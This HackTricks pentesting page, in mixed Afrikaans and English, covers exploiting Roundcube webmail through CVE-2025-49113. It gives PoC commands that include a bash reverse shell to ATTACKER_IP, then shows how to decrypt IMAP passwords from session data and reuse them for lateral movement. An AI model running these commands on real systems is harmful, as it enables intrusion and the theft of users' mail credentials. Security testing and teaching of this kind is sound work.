Roundcube

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

Roundcube is ’n PHP webmail client wat gewoonlik op HTTP(S) vhosts blootgestel word (e.g., mail.example.tld). Useful fingerprints:

  • HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Standaard app-pad in containers/VMs: /var/www/html/roundcube
  • Hoofkonfigurasie: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Geaffekteerde weergawes (per vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Opsomming van die fout

  • Die _from-parameter in program/actions/settings/upload.php word nie gevalideer nie, wat die injection of attacker‑controlled data moontlik maak wat Roundcube later unserializes, wat lei tot gadget chain execution en remote code execution in die web context (post‑auth).

Quick exploitation

  • Vereistes: geldige Roundcube credentials en ’n bereikbare UI URL (e.g., http://mail.target.tld)
  • Publieke PoC automatiseer session handling, gadget crafting and upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Aantekeninge

  • Uitset is dikwels blind; gebruik sleep N om RCE te verifieer
  • Die resulterende shell hardloop gewoonlik as www-data; op gekonteineriseerde ontplooiings verwag /.dockerenv en 172.17.0.0/16 netwerk

Post‑exploitation: herstel IMAP-wagwoorde uit Roundcube-sessies

Roundcube stoor die huidige gebruiker se IMAP-wagwoord in die session (database), geĂ«nkripteer met die server‑side 3DES-sleutel wat in config.inc.php gekonfigureer is. Met lĂȘerstelsel- of DB-toegang op die Roundcube-host kan jy plaintext-wagwoorde herstel en pivot na ander posbusse/dienste (SSH-hergebruik kom algemeen voor).

  1. Lees DB DSN en 3DES key uit config

config/config.inc.php bevat gewoonlik:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Verbind met die DB en dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Die session.vars-veld is ’n Base64 blob wat deur Roundcube’s encrypt() geproduseer word: Base64( IV || 3DES-CBC(plaintext) ). Die eerste 8 bytes na Base64‑decoding is die IV.

  1. Vind die password-veld

’n vinnige manier om die credential binne die decrypted struktuur raak te sien, is om eers die vars-veld Base64‑decode en die serialized entries visueel te bekyk:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Ontsleutel met Roundcube se helper

Roundcube word met ’n CLI gelewer wat dieselfde rcmail->decrypt() logika en die gekonfigureerde des_key gebruik:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Handmatige 3DES-CBC decryption (opsioneel)
  • Ciphertext format: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Gereelde ligginge

  • DB-tabel: session (users-tabel koppel loginname aan IDs)
  • Konfigurasiepad: /var/www/html/roundcube/config/config.inc.php

Operationele gebruik

  • Ouer session-rye bevat dikwels vorige gebruikers se IMAP-wagwoorde; decrypt meerdere inskrywings om laterally na ander e-posbokse te beweeg
  • Probeer herwonne credentials teen SSH of ander dienste as credential reuse vermoed word

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks